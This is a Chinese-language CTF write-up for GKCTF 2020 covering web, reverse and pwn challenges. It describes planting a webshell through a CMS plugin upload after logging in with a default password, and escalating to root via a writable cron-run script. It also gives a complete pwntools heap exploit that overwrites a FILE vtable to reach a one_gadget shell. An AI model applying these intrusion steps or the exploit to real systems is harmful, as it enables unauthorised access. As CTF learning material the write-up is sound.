GKCTF_2020_Writeup

GKCTF_2020_Writeup

前言

题目总体好像不太难,题目质量也可以。web在比赛时候做出3道题,马马虎虎,pwn题肝了很久也没做出来,赛后花了两天才研究透,以至于现在才发writeup,还是菜,不过也通过这题学到了很多。

比赛那天本来一早有网课,边上课边做题,但是爷爷在我还在上课时候硬拉我去喝早茶-_-!…

WEB

CheckIN

打开直接给了源码,小小的一个webshell,估摸着可能能绕waf。

习惯性的看了下phpinfo,发现ban了可以执行命令的函数。这时候当然是上神器蚁剑,但是各种模式都没法bypassdisable_functions

其中PHP7的那个模式可能是web目录不可写的原因,所以不成功。直接上传exp/tmp目录,include一下它就行了。

cve版签到

题目给了提示是cve-2020-7066,在官网找到了一个example,估计题目也是差不多的代码。

依据hint,照着官网的example截断。又出来一个hint要求host要以123结尾,这时我对localhost、127.0.0.1各种@123:123/?123……最后发现用127.0.0.123就行……

老八小超市儿

开局一个开源商城系统,估摸着又要代码审计了。网站最下方的官网提供了github的源码下载链接,又因为最近是特殊时期,源码下载得特别慢,遂去gtihub看下commit,看能不能找到些有用的东西。

所以给我发现了1.8.0版本之后的commit有个tp漏洞同步修复

搜了一下在seebug的一篇文章里发现是thinkphp5.1.X的REC漏洞,但是用exp怎么打也没成功执行命令。于是等源码装好了,开debug模式看看是怎么回事。

装好发现默认密码是这个系统的名字,大胆猜测题目的密码也没有改(手动滑稽)

就这样轻松的进入了后台,应用中心这个功能很引人注目,似乎来到了挖洞时候的老套路。

不出所料,每个应用包的controller目录里都有几个php文件,于是乎在后台管理的php文件里插入个一句话,再重新打包上传安装。

1
http://06d4e07c-9491-4c5d-86a6-8c98c12b59b1.node3.buuoj.cn/admin.php?s=/plugins/index/pluginsname/goodssales/pluginscontrol/admin/pluginsaction/index.html

在管理页面那就能getshell,蚁剑连接的时候要带上cookie。在根目录发现了假flag,说真的flag在/root目录里,但现在的用户进不去/root目录,但是根目录看见个shell脚本比较明显,内容为每60秒执行一个python脚本。

用蚁剑的模拟终端看见这个脚本是以root用户运行的。

好在那个python脚本可写,顺理成章读flag。

REVERSE

这题其实很简单,但我在比赛时候粗心大意没做出来-_-!

IDA直接搜索字符串,发现串奇怪的字符串,看起来不像是base64。当时我去在线的base58解码的时候错把编码当解码,又没仔细看-_-!

PWN

pwn题就看了一题,题目是真心觉得出得不错

Domo

在比赛时没做出来,赛后复现了下。

先贴一下exp,思路等会再水一文细说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './domo'
elf = ELF('./domo')

if sys.argv[1] == 'l':
p = process('./domo')
libc = context.binary.libc
else:
p = remote('node3.buuoj.cn',28773)
libc = ELF('./libc.so.6')

def cmd_add(size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)

def cmd_del(index):
p.sendlineafter('> ','2')
p.sendlineafter('index:',str(index))

def cmd_show(index):
p.sendlineafter('> ','3')
p.sendlineafter('index:\n',str(index))
return p.recv(6)

def cmd_edit(addr,num):
p.sendlineafter('> ','4')
p.sendlineafter('addr:',str(addr))
p.sendlineafter('num:',num)

cmd_add(0x40,'') # 0
cmd_add(0x60,'') # 1

# leak main_arena
cmd_add(0xf0,'') # 2
cmd_add(0x10,'') # 3
offset = 0x7ffff7bcdb78 - 0x7ffff7bcdb0a
cmd_del(2)
cmd_add(0xf0,'')
main_arena = u64(cmd_show(2).ljust(8,'\x00')) + offset
offset = 0x7f3d7a680b78 - 0x7f3d7a2bc000
libc.address = main_arena - offset
print(hex(main_arena))
print(hex(libc.address))
# gdb.attach(p)

# leak heap_addr
cmd_add(0x10,'') # 4
cmd_del(3)
cmd_del(4)
cmd_add(0x10,'')
heap_addr = u64(cmd_show(3).ljust(8,'\x00')) - 0x10a + 0x10
print(hex(heap_addr))
# gdb.attach(p)

# overlapping
cmd_del(0)
cmd_add(0x40,flat(0,0xb1,heap_addr+0x18,heap_addr+0x20,heap_addr+0x10))
cmd_del(1)
cmd_add(0x68,flat('\x00'*0x60,0xb0))
cmd_del(2)
# gdb.attach(p)

# fastbins attack overwrite vtable
# _IO_file_jumps = libc.sym['_IO_file_jumps']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
fake_chunk = _IO_2_1_stdin_ + 160 - 0x3
fake_vtable = heap_addr + 0x210
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc.address + one_gadgets[2]
print(hex(_IO_file_jumps))
print(hex(_IO_2_1_stdin_))
print(hex(fake_vtable))
print(hex(one_gadget))
cmd_add(0xc0,'')
cmd_add(0x60,'')
cmd_del(4)
cmd_del(1)
cmd_del(2)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_chunk))
cmd_add(0xa8,p64(0)*2+p64(one_gadget)*19)
payload = '\x00'*3+flat(0,0,0xffffffff,0,0,fake_vtable,0,0,0,0,0,0)
cmd_add(0x60,'')
# gdb.attach(p)
cmd_add(0x63,payload)

p.interactive()

参考

get_headers() silently truncates after a null byte

Thinkphp5 远程代码执行漏洞事件分析报告

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×